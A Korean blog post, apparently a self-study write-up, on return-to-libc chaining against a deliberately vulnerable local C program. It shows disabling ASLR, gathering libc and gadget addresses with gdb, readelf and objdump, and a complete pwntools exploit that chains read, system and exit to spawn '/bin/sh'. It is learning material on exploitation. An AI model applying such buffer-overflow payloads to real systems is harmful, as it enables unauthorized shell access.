ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • RTL Chaining 공부 1
    정보보안/포너블 2018. 5. 18. 08:32

    RTL Chaining 공부 1

    ROP에 한 발짝 더

    RTL 얼른 보고 이번에는 RTL Chaining을 공부하기로~!

    이번에도 http://d4m0n.tistory.com/80에서의 D4m0n님 블로그의 설명대로 취약점이 있는 코드를 공격하도록 하겠다.

    RTL Chaining이란?

    RTL 기법을 응용하여 함수 여러 개를 연계하여 호출하는 것

    공격하기

    아래와 같이 실행되도록 만든 다음에...

    read()로 실행할 명령어를 입력받음

    -> bss 영역에 저장

    -> system()으로 실행

    -> exit()으로 종료하도록 하기

    ...실행 흐름을 바꾸는 데 성공했으면 /bin/sh를 입력(전달)해서 쉘 따기

    공격할 코드

    이전 글과 공격할 코드가 같다.

    #include <stdio.h>
    #include <unistd.h>
    int main(void){
        char buf[256];
        read(0, buf, 512);
        printf("%s", buf);
    }
    

    방법이 다를 뿐...

    메모리 보호 해제

    junhoyeo@ubuntu:~$ sudo sysctl -w kernel.randomize_va_space=0
    [sudo] password for junhoyeo: 
    kernel.randomize_va_space = 0
    

    다른 메모리 보호 옵션을 해제한 상태로 컴파일하는 과정 역시 전에 하였으므로 패스.

    libc 함수 주소 가져오기

    junhoyeo@ubuntu:~$ gdb -q rtl
    rtl: No such file or directory.
    (gdb) b *main
    No symbol table is loaded.  Use the "file" command.
    (gdb) 
    [1]+  Stopped                 gdb -q rtl
    junhoyeo@ubuntu:~$ cd pwn/rtl/
    junhoyeo@ubuntu:~/pwn/rtl$ gdb -q rtl
    Reading symbols from rtl...(no debugging symbols found)...done.
    (gdb) b *main
    Breakpoint 1 at 0x804843b
    (gdb) r
    Starting program: /home/junhoyeo/pwn/rtl/rtl 
    
    Breakpoint 1, 0x0804843b in main ()
    (gdb) p read
    $1 = {<text variable, no debug info>} 0xb7ee0c00 <read>
    (gdb) p system
    $2 = {<text variable, no debug info>} 0xb7e45d80 <__libc_system>
    (gdb) p exit
    $3 = {<text variable, no debug info>} 0xb7e399b0 <__GI_exit>
    

    공격에 사용할 함수의 메모리 주소를 가져온다.

    read(), system(), exit()를 사용할 것이고, 각각의 주소는 다음과 같다.

    • read() : 0xb7ee0c00
    • system() : 0xb7e45d80
    • exit() : 0xb7e399b0

    bss 영역 주소 가져오기

    junhoyeo@ubuntu:~/pwn/rtl$ readelf -S rtl
    There are 31 section headers, starting at offset 0x17f8:
    
    Section Headers:
      [Nr] Name              Type            Addr     Off    Size   ES Flg Lk Inf Al
      [ 0]                   NULL            00000000 000000 000000 00      0   0  0
      [ 1] .interp           PROGBITS        08048154 000154 000013 00   A  0   0  1
      [ 2] .note.ABI-tag     NOTE            08048168 000168 000020 00   A  0   0  4
      [ 3] .note.gnu.build-i NOTE            08048188 000188 000024 00   A  0   0  4
      [ 4] .gnu.hash         GNU_HASH        080481ac 0001ac 000020 04   A  5   0  4
      [ 5] .dynsym           DYNSYM          080481cc 0001cc 000060 10   A  6   1  4
      [ 6] .dynstr           STRTAB          0804822c 00022c 000051 00   A  0   0  1
      [ 7] .gnu.version      VERSYM          0804827e 00027e 00000c 02   A  5   0  2
      [ 8] .gnu.version_r    VERNEED         0804828c 00028c 000020 00   A  6   1  4
      [ 9] .rel.dyn          REL             080482ac 0002ac 000008 08   A  5   0  4
      [10] .rel.plt          REL             080482b4 0002b4 000018 08  AI  5  24  4
      [11] .init             PROGBITS        080482cc 0002cc 000023 00  AX  0   0  4
      [12] .plt              PROGBITS        080482f0 0002f0 000040 04  AX  0   0 16
      [13] .plt.got          PROGBITS        08048330 000330 000008 00  AX  0   0  8
      [14] .text             PROGBITS        08048340 000340 0001a2 00  AX  0   0 16
      [15] .fini             PROGBITS        080484e4 0004e4 000014 00  AX  0   0  4
      [16] .rodata           PROGBITS        080484f8 0004f8 00000b 00   A  0   0  4
      [17] .eh_frame_hdr     PROGBITS        08048504 000504 00002c 00   A  0   0  4
      [18] .eh_frame         PROGBITS        08048530 000530 0000c0 00   A  0   0  4
      [19] .init_array       INIT_ARRAY      08049f08 000f08 000004 00  WA  0   0  4
      [20] .fini_array       FINI_ARRAY      08049f0c 000f0c 000004 00  WA  0   0  4
      [21] .jcr              PROGBITS        08049f10 000f10 000004 00  WA  0   0  4
      [22] .dynamic          DYNAMIC         08049f14 000f14 0000e8 08  WA  6   0  4
      [23] .got              PROGBITS        08049ffc 000ffc 000004 04  WA  0   0  4
      [24] .got.plt          PROGBITS        0804a000 001000 000018 04  WA  0   0  4
      [25] .data             PROGBITS        0804a018 001018 000008 00  WA  0   0  4
      [26] .bss              NOBITS          0804a020 001020 000004 00  WA  0   0  1
      [27] .comment          PROGBITS        00000000 001020 00002d 01  MS  0   0  1
      [28] .shstrtab         STRTAB          00000000 0016ed 00010a 00      0   0  1
      [29] .symtab           SYMTAB          00000000 001050 000460 10     30  47  4
      [30] .strtab           STRTAB          00000000 0014b0 00023d 00      0   0  1
    Key to Flags:
      W (write), A (alloc), X (execute), M (merge), S (strings)
      I (info), L (link order), G (group), T (TLS), E (exclude), x (unknown)
      O (extra OS processing required) o (OS specific), p (processor specific)
    

    /bin/sh 문자열을 저장할 공간이 필요한데, 먼저 쓰기 권한이 있어야 하고 주소값이 바뀌면 안 된다.

    조건에 맞는 영역은 data, bss, dynamic 등이 있다고 하는데, 여기서는 bss 영역을 사용하겠다.

    ELF 파일에 대한 정보를 표시하는 readelf 명령어를 사용하여 bss 영역의 주소를 구한다.

    Gadget 구하기

    junhoyeo@ubuntu:~/pwn/rtl$ objdump -d rtl | grep -B3 ret
     80482e5:    e8 46 00 00 00           call   8048330 <__libc_start_main@plt+0x10>
     80482ea:    83 c4 08                 add    $0x8,%esp
     80482ed:    5b                       pop    %ebx
     80482ee:    c3                       ret    
    --
    
    08048370 <__x86.get_pc_thunk.bx>:
     8048370:    8b 1c 24                 mov    (%esp),%ebx
     8048373:    c3                       ret    
    --
     80483a3:    ff d0                    call   *%eax
     80483a5:    83 c4 10                 add    $0x10,%esp
     80483a8:    c9                       leave  
     80483a9:    f3 c3                    repz ret 
    --
     80483dd:    ff d2                    call   *%edx
     80483df:    83 c4 10                 add    $0x10,%esp
     80483e2:    c9                       leave  
     80483e3:    f3 c3                    repz ret 
    --
     80483ff:    e8 7c ff ff ff           call   8048380 <deregister_tm_clones>
     8048404:    c6 05 20 a0 04 08 01     movb   $0x1,0x804a020
     804840b:    c9                       leave  
     804840c:    f3 c3                    repz ret 
    --
     804846b:    83 c4 08                 add    $0x8,%esp
     804846e:    b8 00 00 00 00           mov    $0x0,%eax
     8048473:    c9                       leave  
     8048474:    c3                       ret    
    --
     80484d9:    5e                       pop    %esi
     80484da:    5f                       pop    %edi
     80484db:    5d                       pop    %ebp
     80484dc:    c3                       ret    
     80484dd:    8d 76 00                 lea    0x0(%esi),%esi
    
    080484e0 <__libc_csu_fini>:
     80484e0:    f3 c3                    repz ret 
    --
     80484ed:    81 c3 13 1b 00 00        add    $0x1b13,%ebx
     80484f3:    83 c4 08                 add    $0x8,%esp
     80484f6:    5b                       pop    %ebx
     80484f7:    c3                       ret  
    

    위에서 libc 함수를 호출하기 위해서 그 주소를 구한 바 있다.

    그런데 그냥 호출하는 것이 아니라 스택에 인자를 넣어주고 실행이 완료되면 다시 빼 줘서 스택 포인터를 이동시켜야 한다.

    '다시 빼 주는(pop)' 작업을 위해서 그러한 기능을 하는 Gadget이 필요한 것 같다.

    위에서처럼 pop, pop, pop, ret이 필요하면 0x80484d9를 주소로 시작하면 되고, pop ret이 필요하면 80484db를 주소로 사용하면 된다.

    Exploit

    from pwn import *
    import os
    
    p = process('./rtl')
    read_adder = 0xb7ee0c00
    system_adder = 0xb7e45d80
    exit_adder = 0xb7e399b0
    pr = 0x80484db
    pppr = 0x80484d9
    bss = 0x0804a020
    
    payload = 'A'*260 # 256 + 4
    
    payload += p32(read_adder)
    payload += p32(pppr)
    payload += p32(0x0)
    payload += p32(bss)
    payload += p32(0x8)
    # read(0, bss, 8); 
    # -> read input('/bin/sh'), save on bss
    # pop pop pop ret -> pop 3 parameters
    
    payload += p32(system_adder)
    payload += p32(pr)
    payload += p32(bss)
    # system(bss); -> system('/bin/sh');
    # pop ret -> pop 1 parameter
    
    payload += p32(exit_adder)
    # exit();
    
    payload += 'A'*4
    payload += p32(0x0)
    p.send(payload)
    sleep(0.5)
    p.send('/bin/sh\x00') # send '/bin/sh'
    p.interactive()
    

    exploit 코드인데 한 부분씩 살펴보자.

    from pwn import *
    import os
    

    일단 필요한 모듈인 os와 pwntools를 import 해주고

    p = process('./rtl')
    read_adder = 0xb7ee0c00
    system_adder = 0xb7e45d80
    exit_adder = 0xb7e399b0
    pr = 0x80484db
    pppr = 0x80484d9
    bss = 0x0804a020
    

    프로세스를 생성하고 앞에서 구한 주소를 저장한다.

    payload = 'A'*260 # 256 + 4
    

    버퍼 크기(256) + SFP(4) = 260을 dummy로 채운다.

    payload += p32(read_adder)
    payload += p32(pppr)
    payload += p32(0x0)
    payload += p32(bss)
    payload += p32(0x8)
    # read(0, bss, 8); 
    # -> read input('/bin/sh'), save on bss
    # pop pop pop ret -> pop 3 parameters
    

    잘 모르겠는데 왠지 read(0, bss, 8); 이렇게 표현할 수 있는 부분 같다.

    사용자에게 8바이트짜리 문자열을 입력받아서 bss 영역에 저장한다.

    왜 8바이트냐면 /bin/sh(7)+NULL Byte(1)=8이기 때문...

    payload += p32(system_adder)
    payload += p32(pr)
    payload += p32(bss)
    # system(bss); -> system('/bin/sh');
    # pop ret -> pop 1 parameter
    

    이번에는 입력받은 문자열을 system() 함수로 execute한다.

    payload += p32(exit_adder)
    # exit();
    

    실행이 끝났으면 깔끔하게(?) exit()으로 종료한다.

    payload += 'A'*4
    payload += p32(0x0)
    p.send(payload)
    sleep(0.5)
    p.send('/bin/sh\x00') # send '/bin/sh'
    p.interactive()
    

    dummy로 4바이트 채우고 payload 보내고 /bin/sh를 입력해주면 쉘이 따진다.

    마지막에 0x0 넣는 것은 NULL Byte를 만들어주는 건가...? 잘 모르겠다.

    아무튼 이제 exploit을 실행해 보자.

    Exploit 실행

    우와 해낑성공

    '정보보안 > 포너블' 카테고리의 다른 글

    GOT Overwrite 공부 2  (0) 2018.05.20
    GOT Overwrite 공부 1  (0) 2018.05.18
    pwnable.kr 3번 bof : pwntools로 자동으로 브포 때리면서 풀기  (0) 2018.05.17
    RTL 공부 1  (0) 2018.05.17
    pwnable.kr 4번 flag  (0) 2018.02.04

    댓글

Designed by Tistory